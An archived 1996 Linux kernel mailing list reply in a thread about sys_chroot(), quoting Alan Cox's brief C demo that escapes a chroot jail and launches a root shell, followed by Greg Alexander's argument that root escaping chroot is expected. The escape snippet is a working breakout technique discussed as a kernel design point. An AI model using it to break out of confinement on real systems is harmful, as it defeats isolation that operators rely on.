lkml.org 
[lkml]   [1996]   [Nov]   [16]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
SubjectRe: Glitch in sys_chroot()

On Fri, 15 Nov 1996, Alan Cox wrote:

> No but a little demo on each of those machines
>
> /* Escape from chroot after getting root in the chroot area */
>
> main()
> {
> mkdir("fred");
> chroot("fred");
> chdir("../../../../../../../../../");
> chroot("/");
> execl("/bin/sh","-sh",NULL);
> }

Um, seeing as how you have to be root to run programs that do chroot()
calls, I don't think we really give a flying rat's ass if the program can
escape -- it's root, of course it can escape!

Greg Alexander
http://www.cia-g.com/~sietch/


\
 
 \ /
  Last update: 2005-03-22 13:38    [W:0.077 / U:0.164 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site